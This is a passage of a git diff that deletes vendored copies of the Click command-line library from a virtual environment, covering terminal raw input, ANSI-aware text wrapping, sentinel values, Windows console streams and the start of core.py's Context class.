non-ASCII characters, because return values of `getch` are - # limited to the current 8-bit codepage. - # - # Anyway, Click doesn't claim to do this Right(tm), and using `getwch` - # is doing the right thing in more situations than with `getch`. - - if echo: - func = t.cast(t.Callable[[], str], msvcrt.getwche) - else: - func = t.cast(t.Callable[[], str], msvcrt.getwch) - - rv = func() - - if rv in ("\x00", "\xe0"): - # \x00 and \xe0 are control characters that indicate special key, - # see above. - rv += func() - - _translate_ch_to_exc(rv) - return rv - -else: - import termios - import tty - - @contextlib.contextmanager - def raw_terminal() -> cabc.Iterator[int]: - f: t.TextIO | None - fd: int - - if not isatty(sys.stdin): - f = open("/dev/tty") - fd = f.fileno() - else: - fd = sys.stdin.fileno() - f = None - - try: - old_settings = termios.tcgetattr(fd) - - try: - tty.setraw(fd) - yield fd - finally: - termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) - sys.stdout.flush() - - if f is not None: - f.close() - except termios.error: - pass - - def getchar(echo: bool) -> str: - with raw_terminal() as fd: - ch = os.read(fd, 32).decode(get_best_encoding(sys.stdin), "replace") - - if echo and isatty(sys.stdout): - sys.stdout.write(ch) - - _translate_ch_to_exc(ch) - return ch diff --git a/venv/Lib/site-packages/click/_textwrap.py b/venv/Lib/site-packages/click/_textwrap.py deleted file mode 100644 index 82840f2dff3ce627712c0ece2752382a0f7dab8b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/_textwrap.py +++ /dev/null @@ -1,188 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import textwrap -from contextlib import contextmanager - -from ._compat import _ansi_re -from ._compat import term_len - - -def _truncate_visible(text: str, n: int) -> str: - """Return the longest prefix of ``text`` containing at most ``n`` visible - characters. - - ANSI escape sequences inside the prefix are kept intact and do not count - toward the visible width. A cut is never placed inside an escape sequence. - """ - if n <= 0: - return "" - - visible = 0 - i = 0 - cut = 0 - end = len(text) - while i < end: - m = _ansi_re.match(text, i) - if m is not None: - i = m.end() - continue - visible += 1 - i += 1 - cut = i - if visible >= n: - break - return text[:cut] - - -class TextWrapper(textwrap.TextWrapper): - """``textwrap.TextWrapper`` variant that measures widths by visible - character count. - - ANSI escape sequences embedded in chunks, indents, or the placeholder are - excluded from the width budget. Without this, styled help text (a styled - ``Usage:`` prefix, a colorized option name, ...) would be wrapped earlier - than its visible length warrants and tokens would split mid-word. - """ - - def _handle_long_word( - self, - reversed_chunks: list[str], - cur_line: list[str], - cur_len: int, - width: int, - ) -> None: - space_left = max(width - cur_len, 1) - - if self.break_long_words: - last = reversed_chunks[-1] - cut = _truncate_visible(last, space_left) - res = last[len(cut) :] - cur_line.append(cut) - reversed_chunks[-1] = res - elif not cur_line: - cur_line.append(reversed_chunks.pop()) - - def _wrap_chunks(self, chunks: list[str]) -> list[str]: - """Wrap chunks counting widths in visible characters. - - Mirrors the algorithm of :meth:`textwrap.TextWrapper._wrap_chunks` - with every width measurement routed through - :func:`click._compat.term_len` instead of :func:`len`, so ANSI escape - bytes in chunks, indents, or the placeholder do not inflate the count. - - .. seealso:: - :class:`textwrap.TextWrapper` in the Python standard library documentation: - https://docs.python.org/3/library/textwrap.html#textwrap.TextWrapper - - Reference implementation in CPython: - https://github.com/python/cpython/blob/main/Lib/textwrap.py - """ - lines: list[str] = [] - if self.width <= 0: - raise ValueError(f"invalid width {self.width!r} (must be > 0)") - if self.max_lines is not None: - if self.max_lines > 1: - indent = self.subsequent_indent - else: - indent = self.initial_indent - if term_len(indent) + term_len(self.placeholder.lstrip()) > self.width: - raise ValueError("placeholder too large for max width") - - chunks.reverse() - - while chunks: - cur_line: list[str] = [] - cur_len = 0 - - if lines: - indent = self.subsequent_indent - else: - indent = self.initial_indent - - width = self.width - term_len(indent) - - if self.drop_whitespace and chunks[-1].strip() == "" and lines: - del chunks[-1] - - while chunks: - n = term_len(chunks[-1]) - - if cur_len + n <= width: - cur_line.append(chunks.pop()) - cur_len += n - - else: - break - - if chunks and term_len(chunks[-1]) > width: - self._handle_long_word(chunks, cur_line, cur_len, width) - cur_len = sum(map(term_len, cur_line)) - - if self.drop_whitespace and cur_line and cur_line[-1].strip() == "": - cur_len -= term_len(cur_line[-1]) - del cur_line[-1] - - if cur_line: - if ( - self.max_lines is None - or len(lines) + 1 < self.max_lines - or ( - not chunks - or self.drop_whitespace - and len(chunks) == 1 - and not chunks[0].strip() - ) - and cur_len <= width - ): - lines.append(indent + "".join(cur_line)) - else: - while cur_line: - if ( - cur_line[-1].strip() - and cur_len + term_len(self.placeholder) <= width - ): - cur_line.append(self.placeholder) - lines.append(indent + "".join(cur_line)) - break - cur_len -= term_len(cur_line[-1]) - del cur_line[-1] - else: - if lines: - prev_line = lines[-1].rstrip() - if ( - term_len(prev_line) + term_len(self.placeholder) - <= self.width - ): - lines[-1] = prev_line + self.placeholder - break - lines.append(indent + self.placeholder.lstrip()) - break - - return lines - - @contextmanager - def extra_indent(self, indent: str) -> cabc.Iterator[None]: - old_initial_indent = self.initial_indent - old_subsequent_indent = self.subsequent_indent - self.initial_indent += indent - self.subsequent_indent += indent - - try: - yield - finally: - self.initial_indent = old_initial_indent - self.subsequent_indent = old_subsequent_indent - - def indent_only(self, text: str) -> str: - rv = [] - - for idx, line in enumerate(text.splitlines()): - indent = self.initial_indent - - if idx > 0: - indent = self.subsequent_indent - - rv.append(f"{indent}{line}") - - return "\n".join(rv) diff --git a/venv/Lib/site-packages/click/_utils.py b/venv/Lib/site-packages/click/_utils.py deleted file mode 100644 index 05ee2e99757adb19882664e1fc0377ac29c92f80..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/_utils.py +++ /dev/null @@ -1,36 +0,0 @@ -from __future__ import annotations - -import enum -import typing as t - - -class Sentinel(enum.Enum): - """Enum used to define sentinel values. - - .. seealso:: - - `PEP 661 - Sentinel Values `_. - """ - - UNSET = object() - FLAG_NEEDS_VALUE = object() - - def __repr__(self) -> str: - return f"{self.__class__.__name__}.{self.name}" - - -UNSET: t.Literal[Sentinel.UNSET] = Sentinel.UNSET -"""Sentinel used to indicate that a value is not set.""" - -FLAG_NEEDS_VALUE: t.Literal[Sentinel.FLAG_NEEDS_VALUE] = Sentinel.FLAG_NEEDS_VALUE -"""Sentinel used to indicate an option was passed as a flag without a -value but is not a flag option. - -``Option.consume_value`` uses this to prompt or use the ``flag_value``. -""" - -T_UNSET: t.TypeAlias = t.Literal[Sentinel.UNSET] -"""Type hint for the :data:`UNSET` sentinel value.""" - -T_FLAG_NEEDS_VALUE: t.TypeAlias = t.Literal[Sentinel.FLAG_NEEDS_VALUE] -"""Type hint for the :data:`FLAG_NEEDS_VALUE` sentinel value.""" diff --git a/venv/Lib/site-packages/click/_winconsole.py b/venv/Lib/site-packages/click/_winconsole.py deleted file mode 100644 index d25178d66ff7a9c8a1da52e61379da240be625b6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/_winconsole.py +++ /dev/null @@ -1,297 +0,0 @@ -# This module is based on the excellent work by Adam Bartoš who -# provided a lot of what went into the implementation here in -# the discussion to issue1602 in the Python bug tracker. -# -# There are some general differences in regards to how this works -# compared to the original patches as we do not need to patch -# the entire interpreter but just work in our little world of -# echo and prompt. -from __future__ import annotations - -import collections.abc as cabc -import io -import sys -import time -import typing as t -from ctypes import Array -from ctypes import byref -from ctypes import c_char -from ctypes import c_char_p -from ctypes import c_int -from ctypes import c_ssize_t -from ctypes import c_ulong -from ctypes import c_void_p -from ctypes import POINTER -from ctypes import py_object -from ctypes import Structure -from ctypes.wintypes import DWORD -from ctypes.wintypes import HANDLE -from ctypes.wintypes import LPCWSTR -from ctypes.wintypes import LPWSTR -from gettext import gettext as _ - -from ._compat import _NonClosingTextIOWrapper - -assert sys.platform == "win32" -import msvcrt # noqa: E402 -from ctypes import windll # noqa: E402 -from ctypes import WINFUNCTYPE # noqa: E402 - -c_ssize_p = POINTER(c_ssize_t) - -kernel32 = windll.kernel32 -GetStdHandle = kernel32.GetStdHandle -ReadConsoleW = kernel32.ReadConsoleW -WriteConsoleW = kernel32.WriteConsoleW -GetConsoleMode = kernel32.GetConsoleMode -GetLastError = kernel32.GetLastError -GetCommandLineW = WINFUNCTYPE(LPWSTR)(("GetCommandLineW", windll.kernel32)) -CommandLineToArgvW = WINFUNCTYPE(POINTER(LPWSTR), LPCWSTR, POINTER(c_int))( - ("CommandLineToArgvW", windll.shell32) -) -LocalFree = WINFUNCTYPE(c_void_p, c_void_p)(("LocalFree", windll.kernel32)) - -STDIN_HANDLE = GetStdHandle(-10) -STDOUT_HANDLE = GetStdHandle(-11) -STDERR_HANDLE = GetStdHandle(-12) - -PyBUF_SIMPLE = 0 -PyBUF_WRITABLE = 1 - -ERROR_SUCCESS = 0 -ERROR_NOT_ENOUGH_MEMORY = 8 -ERROR_OPERATION_ABORTED = 995 - -STDIN_FILENO = 0 -STDOUT_FILENO = 1 -STDERR_FILENO = 2 - -EOF = b"\x1a" -MAX_BYTES_WRITTEN = 32767 - -if t.TYPE_CHECKING: - try: - # Using `typing_extensions.Buffer` instead of `collections.abc` - # on Windows for some reason does not have `Sized` implemented. - from collections.abc import Buffer # type: ignore - except ImportError: - from typing_extensions import Buffer - -try: - from ctypes import pythonapi -except ImportError: - # On PyPy we cannot get buffers so our ability to operate here is - # severely limited. - get_buffer = None -else: - - class Py_buffer(Structure): - _fields_ = [ # noqa: RUF012 - ("buf", c_void_p), - ("obj", py_object), - ("len", c_ssize_t), - ("itemsize", c_ssize_t), - ("readonly", c_int), - ("ndim", c_int), - ("format", c_char_p), - ("shape", c_ssize_p), - ("strides", c_ssize_p), - ("suboffsets", c_ssize_p), - ("internal", c_void_p), - ] - - PyObject_GetBuffer = pythonapi.PyObject_GetBuffer - PyBuffer_Release = pythonapi.PyBuffer_Release - - def get_buffer(obj: Buffer, writable: bool = False) -> Array[c_char]: - buf = Py_buffer() - flags: int = PyBUF_WRITABLE if writable else PyBUF_SIMPLE - PyObject_GetBuffer(py_object(obj), byref(buf), flags) - - try: - buffer_type = c_char * buf.len - out: Array[c_char] = buffer_type.from_address(buf.buf) - return out - finally: - PyBuffer_Release(byref(buf)) - - -class _WindowsConsoleRawIOBase(io.RawIOBase): - def __init__(self, handle: int | None) -> None: - self.handle = handle - - def isatty(self) -> t.Literal[True]: - super().isatty() - return True - - -class _WindowsConsoleReader(_WindowsConsoleRawIOBase): - def readable(self) -> t.Literal[True]: - return True - - def readinto(self, b: Buffer) -> int: - bytes_to_be_read = len(b) - if not bytes_to_be_read: - return 0 - elif bytes_to_be_read % 2: - raise ValueError( - "cannot read odd number of bytes from UTF-16-LE encoded console" - ) - - buffer = get_buffer(b, writable=True) - code_units_to_be_read = bytes_to_be_read // 2 - code_units_read = c_ulong() - - rv = ReadConsoleW( - HANDLE(self.handle), - buffer, - code_units_to_be_read, - byref(code_units_read), - None, - ) - if GetLastError() == ERROR_OPERATION_ABORTED: - # wait for KeyboardInterrupt - time.sleep(0.1) - if not rv: - raise OSError(_("Windows error: {error}").format(error=GetLastError())) - - if buffer[0] == EOF: - return 0 - return 2 * code_units_read.value - - -class _WindowsConsoleWriter(_WindowsConsoleRawIOBase): - def writable(self) -> t.Literal[True]: - return True - - @staticmethod - def _get_error_message(errno: int) -> str: - if errno == ERROR_SUCCESS: - return "ERROR_SUCCESS" - elif errno == ERROR_NOT_ENOUGH_MEMORY: - return "ERROR_NOT_ENOUGH_MEMORY" - return _("Windows error: {error}").format(error=errno) - - def write(self, b: Buffer) -> int: - bytes_to_be_written = len(b) - buf = get_buffer(b) - code_units_to_be_written = min(bytes_to_be_written, MAX_BYTES_WRITTEN) // 2 - code_units_written = c_ulong() - - WriteConsoleW( - HANDLE(self.handle), - buf, - code_units_to_be_written, - byref(code_units_written), - None, - ) - bytes_written = 2 * code_units_written.value - - if bytes_written == 0 and bytes_to_be_written > 0: - raise OSError(self._get_error_message(GetLastError())) - return bytes_written - - -class ConsoleStream: - def __init__(self, text_stream: t.TextIO, byte_stream: t.BinaryIO) -> None: - self._text_stream = text_stream - self.buffer = byte_stream - - @property - def name(self) -> str: - return self.buffer.name - - def write(self, x: t.AnyStr) -> int: - if isinstance(x, str): - return self._text_stream.write(x) - try: - self.flush() - except Exception: - pass - return self.buffer.write(x) - - def writelines(self, lines: cabc.Iterable[t.AnyStr]) -> None: - for line in lines: - self.write(line) - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._text_stream, name) - - def isatty(self) -> bool: - return self.buffer.isatty() - - def __repr__(self) -> str: - return f"" - - -def _get_text_stdin(buffer_stream: t.BinaryIO) -> t.TextIO: - text_stream = _NonClosingTextIOWrapper( - io.BufferedReader(_WindowsConsoleReader(STDIN_HANDLE)), - "utf-16-le", - "strict", - line_buffering=True, - ) - return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) - - -def _get_text_stdout(buffer_stream: t.BinaryIO) -> t.TextIO: - text_stream = _NonClosingTextIOWrapper( - io.BufferedWriter(_WindowsConsoleWriter(STDOUT_HANDLE)), - "utf-16-le", - "strict", - line_buffering=True, - ) - return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) - - -def _get_text_stderr(buffer_stream: t.BinaryIO) -> t.TextIO: - text_stream = _NonClosingTextIOWrapper( - io.BufferedWriter(_WindowsConsoleWriter(STDERR_HANDLE)), - "utf-16-le", - "strict", - line_buffering=True, - ) - return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) - - -_stream_factories: cabc.Mapping[int, t.Callable[[t.BinaryIO], t.TextIO]] = { - 0: _get_text_stdin, - 1: _get_text_stdout, - 2: _get_text_stderr, -} - - -def _is_console(f: t.TextIO) -> bool: - if not hasattr(f, "fileno"): - return False - - try: - fileno = f.fileno() - except (OSError, io.UnsupportedOperation): - return False - - handle = msvcrt.get_osfhandle(fileno) - return bool(GetConsoleMode(handle, byref(DWORD()))) - - -def _get_windows_console_stream( - f: t.TextIO, encoding: str | None, errors: str | None -) -> t.TextIO | None: - if ( - get_buffer is None - or encoding not in {"utf-16-le", None} - or errors not in {"strict", None} - or not _is_console(f) - ): - return None - - func = _stream_factories.get(f.fileno()) - if func is None: - return None - - b = getattr(f, "buffer", None) - - if b is None: - return None - - return func(b) diff --git a/venv/Lib/site-packages/click/core.py b/venv/Lib/site-packages/click/core.py deleted file mode 100644 index d7ecbefbc491a9582e1a47385f2922c10302b58c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/core.py +++ /dev/null @@ -1,3639 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import enum -import errno -import inspect -import os -import sys -import typing as t -from abc import ABC -from abc import abstractmethod -from collections import abc -from collections import Counter -from contextlib import AbstractContextManager -from contextlib import contextmanager -from contextlib import ExitStack -from functools import update_wrapper -from gettext import gettext as _ -from gettext import ngettext -from itertools import repeat -from types import TracebackType - -from . import types -from ._utils import FLAG_NEEDS_VALUE -from ._utils import UNSET -from .exceptions import Abort -from .exceptions import BadParameter -from .exceptions import ClickException -from .exceptions import Exit -from .exceptions import MissingParameter -from .exceptions import NoArgsIsHelpError -from .exceptions import NoSuchCommand -from .exceptions import UsageError -from .formatting import HelpFormatter -from .formatting import join_options -from .globals import pop_context -from .globals import push_context -from .parser import _OptionParser -from .parser import _split_opt -from .termui import confirm -from .termui import prompt -from .termui import style -from .utils import _detect_program_name -from .utils import _expand_args -from .utils import echo -from .utils import make_default_short_help -from .utils import make_str -from .utils import PacifyFlushWrapper - -if t.TYPE_CHECKING: - from typing_extensions import Self - - from .shell_completion import CompletionItem - -F = t.TypeVar("F", bound="t.Callable[..., t.Any]") -V = t.TypeVar("V") - - -def _complete_visible_commands( - ctx: Context, incomplete: str -) -> cabc.Iterator[tuple[str, Command]]: - """List all the subcommands of a group that start with the - incomplete value and aren't hidden. - - :param ctx: Invocation context for the group. - :param incomplete: Value being completed. May be empty. - """ - multi = t.cast(Group, ctx.command) - - for name in multi.list_commands(ctx): - if name.startswith(incomplete): - command = multi.get_command(ctx, name) - - if command is not None and not command.hidden: - yield name, command - - -def _check_nested_chain( - base_command: Group, cmd_name: str, cmd: Command, register: bool = False -) -> None: - if not base_command.chain or not isinstance(cmd, Group): - return - - if register: - message = ( - f"It is not possible to add the group {cmd_name!r} to another" - f" group {base_command.name!r} that is in chain mode." - ) - else: - message = ( - f"Found the group {cmd_name!r} as subcommand to another group " - f" {base_command.name!r} that is in chain mode. This is not supported." - ) - - raise RuntimeError(message) - - -def _format_deprecated_label(deprecated: bool | str) -> str: - """Return the parenthesized deprecation label shown in help text.""" - label = _("deprecated").upper() - if isinstance(deprecated, str): - return f"({label}: {deprecated})" - return f"({label})" - - -def _format_deprecated_suffix(deprecated: bool | str) -> str: - """Return the trailing reason for a ``DeprecationWarning`` message, - prefixed with a space, or an empty string when no reason was given. - """ - if isinstance(deprecated, str): - return f" {deprecated}" - return "" - - -def batch(iterable: cabc.Iterable[V], batch_size: int) -> list[tuple[V, ...]]: - return list(zip(*repeat(iter(iterable), batch_size), strict=False)) - - -@contextmanager -def augment_usage_errors( - ctx: Context, param: Parameter | None = None -) -> cabc.Generator[None]: - """Context manager that attaches extra information to exceptions.""" - try: - yield - except BadParameter as e: - if e.ctx is None: - e.ctx = ctx - if param is not None and e.param is None: - e.param = param - raise - except UsageError as e: - if e.ctx is None: - e.ctx = ctx - raise - - -def iter_params_for_processing( - invocation_order: cabc.Sequence[Parameter], - declaration_order: cabc.Sequence[Parameter], -) -> list[Parameter]: - """Returns all declared parameters in the order they should be processed. - - The declared parameters are re-shuffled depending on the order in which - they were invoked, as well as the eagerness of each parameters. - - The invocation order takes precedence over the declaration order. I.e. the - order in which the user provided them to the CLI is respected. - - This behavior and its effect on callback evaluation is detailed at: - https://click.palletsprojects.com/en/stable/advanced/#callback-evaluation-order - """ - - def sort_key(item: Parameter) -> tuple[bool, float]: - try: - idx: float = invocation_order.index(item) - except ValueError: - idx = float("inf") - - return not item.is_eager, idx - - return sorted(declaration_order, key=sort_key) - - -class ParameterSource(enum.IntEnum): - """This is an :class:`~enum.IntEnum` that indicates the source of a - parameter's value. - - Use :meth:`click.Context.get_parameter_source` to get the - source for a parameter by name. - - Members are ordered from most explicit to least explicit source. - This allows comparison to check if a value was explicitly provided: - - .. code-block:: python - - source = ctx.get_parameter_source("port") - if source < click.ParameterSource.DEFAULT_MAP: - ... # value was explicitly set - - .. versionchanged:: 8.3.3 - Use :class:`~enum.IntEnum` and reorder members from most to - least explicit. Supports comparison operators. - - .. versionchanged:: 8.0 - Use :class:`~enum.Enum` and drop the ``validate`` method. - - .. versionchanged:: 8.0 - Added the ``PROMPT`` value. - """ - - PROMPT = enum.auto() - """Used a prompt to confirm a default or provide a value.""" - COMMANDLINE = enum.auto() - """The value was provided by the command line args.""" - ENVIRONMENT = enum.auto() - """The value was provided with an environment variable.""" - DEFAULT_MAP = enum.auto() - """Used a default provided by :attr:`Context.default_map`.""" - DEFAULT = enum.auto() - """Used the default specified by the parameter.""" - - -class Context: - """The context is a special internal object that holds state relevant - for the script execution at every single level. It's normally invisible - to commands unless they opt-in to getting access to it. - - The context is useful as it can pass internal objects around and can - control special execution features such as reading data from - environment variables. - - A context can be used as context manager in which case it will call - :meth:`close` on teardown. - - :param command: the command class for this context. - :param parent: the parent context. - :param info_name: the info name for this invocation. Generally this - is the most descriptive name for the script or - command. For the toplevel script it is usually - the name of the script, for commands below that it's - the name of the script. - :param obj: an arbitrary object of user data. - :param auto_envvar_prefix: the prefix to use for automatic environment - variables. If this is `None` then reading - from environment variables is disabled. This - does not affect manually set environment - variables which are always read. - :param default_map: a dictionary (like object) with default values - for parameters. - :param terminal_width: the width of the terminal. The default is - inherit from parent context. If no context - defines the terminal width then auto - detection will be applied. - :param max_content_width: the maximum width for content rendered by - Click (this currently only affects help - pages). This defaults to 80 characters if - not overridden. In other words: even if the - terminal is larger than that, Click will not - format things wider than 80 characters by - default. In addition to that, formatters might - add some safety mapping on the right. - :param resilient_parsing: if this flag is enabled then Click will - parse without any interactivity or callback - invocation. Default values will also be - ignored. This is useful for implementing - things such as completion support. - :param allow_extra_args: if this is set to `True` then extra arguments - at the end will not raise an error and will be - kept on the context. The default is to inherit - from the command. - :param allow_interspersed_args: if this is set to `False` then options - and arguments cannot be mixed. The - default is to inherit from the command. - :param ignore_unknown_options: instructs click to ignore options it does - not know and keeps them for later - processing. - :param help_option_names: optionally a list of strings that define how - the default help parameter is named. The - default is ``['--help']``. - :param token_normalize_func: an optional function that is used to - normalize tokens (options, choices, - etc.). This for instance can be used to - implement case insensitive behavior. - :param color: controls if the terminal supports ANSI colors or not. The - default is autodetection. This is only needed if ANSI - codes are used in texts that Click prints which is by - default not the case. This for instance would affect - help output. - :param show_default: Show the default value for commands. If this - value is not set, it defaults to the value from the parent - context. ``Command.show_default`` overrides this default for the - specific command. - - .. versionchanged:: 8.2 - The ``protected_args`` attribute is deprecated and will be removed in - Click 9.0. ``args`` will contain remaining unparsed tokens. - - .. versionchanged:: 8.1 - The ``show_default`` parameter is overridden by - ``Command.show_default``, instead of the other way around. - - .. versionchanged:: 8.0 - The ``show_default`` parameter defaults to the value from the - parent context. - - .. versionchanged:: 7.1 - Added the ``show_default`` parameter. - - .. versionchanged:: 4.0 - Added the ``color``, ``ignore_unknown_options``, and - ``max_content_width`` parameters. - - .. versionchanged:: 3.0 - Added the ``allow_extra_args`` and ``allow_interspersed_args`` - parameters. - - .. versionchanged:: 2.0 - Added the ``resilient_parsing``, ``help_option_names``, and - ``token_normalize_func`` parameters. - """ - - #: The formatter class to create with :meth:`make_formatter`. - #: - #: .. versionadded:: 8.0 - formatter_class: type[HelpFormatter] = HelpFormatter - - parent: Context | None - command: Command - info_name: str | None - params: dict[str, t.Any] - args: list[str] - _protected_args: list[str] - _opt_prefixes: set[str] - obj: t.Any - _meta: dict[str, t.Any] - default_map: cabc.MutableMapping[str, t.Any] | None - invoked_subcommand: str | None - terminal_width: int | None - max_content_width: int | None - allow_extra_args: bool - allow_interspersed_args: bool - ignore_unknown_options: bool - help_option_names: list[str] - token_normalize_func: t.Callable[[str], str] | None - resilient_parsing: bool - auto_envvar_prefix: str | None - color: bool | None - show_default: bool | None - _close_callbacks: list[t.Callable[[], t.Any]] - _depth: int - _parameter_source: dict[str, ParameterSource] - _param_default_explicit: dict[str, bool] - _exit_stack: ExitStack - - def __init__( - self, - command: Command, - parent: Context | None = None, - info_name: str | None = None, - obj: t.Any | None = None, - auto_envvar_prefix: str | None = None, - default_map: cabc.MutableMapping[str, t.Any] | None = None, - terminal_width: int | None = None, - max_content_width: int | None = None, - resilient_parsing: bool = False, - allow_extra_args: bool | None = None, - allow_interspersed_args: bool | None = None, - ignore_unknown_options: bool | None = None, - help_option_names: list[str] | None = None, - token_normalize_func: t.Callable[[str], str] | None = None, - color: bool | None = None, - show_default: bool | None = None, - ) -> None: - #: the parent context or `None` if none exists. - self.parent = parent - #: the :class:`Command` for this context. - self.command = command - #: the descriptive information name - self.info_name = info_name - #: Map of parameter names to their parsed values. Parameters - #: with ``expose_value=False`` are not stored. - self.params = {} - #: the leftover arguments. - self.args = [] - #: protected arguments. These are arguments that are prepended - #: to `args` when certain parsing scenarios are encountered but - #: must be never propagated to another arguments. This is used - #: to implement nested parsing. - self._protected_args = [] - #: the collected prefixes of the command's options. - self._opt_prefixes = set(parent._opt_prefixes) if parent else set() - - if obj is None and parent is not None: - obj = parent.obj - - #: the user object stored. - self.obj = obj - self._meta = getattr(parent, "meta", {}) - - #: A dictionary (-like object) with defaults for parameters. - if ( - default_map is None - and info_name is not None - and parent is not None - and parent.default_map is not None - ): - default_map = parent.default_map.get(info_name) - - self.default_map = default_map - - #: This flag indicates if a subcommand is going to be executed. A - #: group callback can use this information to figure out if it's - #: being executed directly or because the execution flow passes - #: onwards to a subcommand. By default it's None, but it can be - #: the name of the subcommand to execute. - #: - #: If chaining is enabled this will be set to ``'*'`` in case - #: any commands are executed. It is however not possible to - #: figure out which ones. If you require this knowledge you - #: should use a :func:`result_callback`. - self.invoked_subcommand = None - - if terminal_width is None and parent is not None: - terminal_width = parent.terminal_width - - #: The width of the terminal (None is autodetection). - self.terminal_width = terminal_width - - if max_content_width is None and parent is not None: - max_content_width = parent.max_content_width - - #: The maximum width of formatted content (None implies a sensible - #: default which is 80 for most things). - self.max_content_width = max_content_width - - if allow_extra_args is None: - allow_extra_args = command.allow_extra_args - - #: Indicates if the context allows extra args or if it should - #: fail on parsing. - #: - #: .. versionadded:: 3.0 - self.allow_extra_args = allow_extra_args - - if allow_interspersed_args is None: - allow_interspersed_args = command.allow_interspersed_args - - #: Indicates if the context allows mixing of arguments and - #: options or not. - #: - #: .. versionadded:: 3.0 - self.allow_interspersed_args = allow_interspersed_args - - if ignore_unknown_options is None: - ignore_unknown_options = command.ignore_unknown_options - - #: Instructs click to ignore options that a command does not - #: understand and will store it on the context for later - #: processing. This is primarily useful for situations where you - #: want to call into external programs. Generally this pattern is - #: strongly discouraged because it's not possibly to losslessly - #: forward all arguments. - #: - #: .. versionadded:: 4.0 - self.ignore_unknown_options = ignore_unknown_options - - if help_option_names is None: - if parent is not None: - help_option_names = parent.help_option_names - else: - help_option_names = ["--help"] - - #: The names for the help options. - self.help_option_names = help_option_names - - if token_normalize_func is None and parent is not None: - token_normalize_func = parent.token_normalize_func - - #: An optional normalization function for tokens. This is - #: options, choices, commands etc. - self.token_normalize_func = token_normalize_func - - #: Indicates if resilient parsing is enabled. In that case Click - #: will do its best to not cause any failures and default values - #: will be ignored. Useful for completion. - self.resilient_parsing = resilient_parsing - - # If there is no envvar prefix yet, but the parent has one and - # the command on this level has a name, we can expand the envvar - # prefix automatically. - if auto_envvar_prefix is None: - if ( - parent is not None - and parent.auto_envvar_prefix is not None - and self.info_name is not None - ): - auto_envvar_prefix = ( - f"{parent.auto_envvar_prefix}_{self.info_name.upper()}" - ) - else: - auto_envvar_prefix = auto_envvar_prefix.upper() - - if auto_envvar_prefix is not None: - auto_envvar_prefix = auto_envvar_prefix.replace("-", "_") - - self.auto_envvar_prefix = auto_envvar_prefix - - if color is None and parent is not None: - color = parent.color - - #: Controls if styling output is wanted or not. - self.color = color - - if show_default is None and parent is not None: - show_default = parent.show_default - - #: Show option default values when formatting help text. - self.show_default = show_default - - self._close_callbacks = [] - self._depth = 0 - self._parameter_source = {} - # Tracks whether the option that currently owns each parameter slot in - # :attr:`params` had its ``default`` set explicitly by the user. Used - # to tie-break feature-switch groups where multiple options share a - # parameter name and both fall back to their default value. - # Refs: https://github.com/pallets/click/issues/3403 - self._param_default_explicit = {} - self._exit_stack = ExitStack() - - @property - def protected_args(self) -> list[str]: - import warnings - - warnings.warn( - "'protected_args' is deprecated and will be removed in Click 9.0." - " 'args' will contain remaining unparsed tokens.", - DeprecationWarning, - stacklevel=2, - ) - return self._protected_args - - def to_info_dict(self) -> dict[str, t.Any]: - """Gather information that could be useful for a tool generating - user-facing documentation. This traverses the entire CLI - structure. - - .. code-block:: python - - with Context(cli) as ctx: - info = ctx.to_info_dict() - - .. versionadded:: 8.0 - """ - return { - "command": self.command.to_info_dict(self), - "info_name": self.info_name, - "allow_extra_args": self.allow_extra_args, - "allow_interspersed_args": self.allow_interspersed_args, - "ignore_unknown_options": self.ignore_unknown_options, - "auto_envvar_prefix": self.auto_envvar_prefix, - } - - def __enter__(self) -> Self: - self._depth += 1 - push_context(self) - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> bool | None: - self._depth -= 1 - exit_result: bool | None = None - if self._depth == 0: - exit_result = self._close_with_exception_info(exc_type, exc_value, tb) - pop_context() - - return exit_result - - @contextmanager - def scope(self, cleanup: bool = True) -> cabc.Generator[Context]: - """This helper method can be used with the context object to promote - it to the current thread local (see :func:`get_current_context`). - The default behavior of this is to invoke the cleanup functions which - can be disabled by setting `cleanup` to `False`. The cleanup - functions are typically used for things such as closing file handles. - - If the cleanup is intended the context object can also be directly - used as a context manager. - - Example usage:: - - with ctx.scope(): - assert get_current_context() is ctx - - This is equivalent:: - - with ctx: - assert get_current_context() is ctx - - .. versionadded:: 5.0 - - :param cleanup: controls if the cleanup functions should be run or - not. The default is to run these functions. In - some situations the context only wants to be - temporarily pushed in which case this can be disabled. - Nested pushes automatically defer the cleanup. - """ - if not cleanup: - self._depth += 1 - try: - with self as rv: - yield rv - finally: - if not cleanup: - self._depth -= 1 - - @property - def meta(self) -> dict[str, t.Any]: - """This is a dictionary which is shared with all the contexts - that are nested. It exists so that click utilities can store some - state here if they need to. It is however the responsibility of - that code to manage this dictionary well. - - The keys are supposed to be unique dotted strings. For instance - module paths are a good choice for it. What is stored in there is - irrelevant for the operation of click. However what is important is - that code that places data here adheres to the general semantics of - the system. - - Example usage:: - - LANG_KEY = f'{__name__}.lang' - - def set_language(value): - ctx = get_current_context() - ctx.meta[LANG_KEY] = value - - def get_language(): - return get_current_context().meta.get(LANG_KEY, 'en_US') - - .. versionadded:: 5.0 - """ - return self._meta - - def make_formatter(self) -> HelpFormatter: - """Creates the :class:`~click.HelpFormatter` for the help and - usage output. - - To quickly customize the formatter class used without overriding - this method, set the :attr:`formatter_class` attribute. - - .. versionchanged:: 8.0 - Added the :attr:`formatter_class` attribute. - """ - return self.formatter_class( - width=self.terminal_width, max_width=self.max_content_width - ) - - def with_resource(self, context_manager: AbstractContextManager[V]) -> V: - """Register a resource as if it were used in a ``with`` - statement. The resource will be cleaned up when the context is - popped. - - Uses :meth:`contextlib.ExitStack.enter_context`. It calls the - resource's ``__enter__()`` method and returns the result. When - the context is popped, it closes the stack, which calls the - resource's ``__exit__()`` method. - - To register a cleanup function for something that isn't a - context manager, use :meth:`call_on_close`. Or use something - from :mod:`contextlib` to turn it into a context manager first. - - .. code-block:: python - - 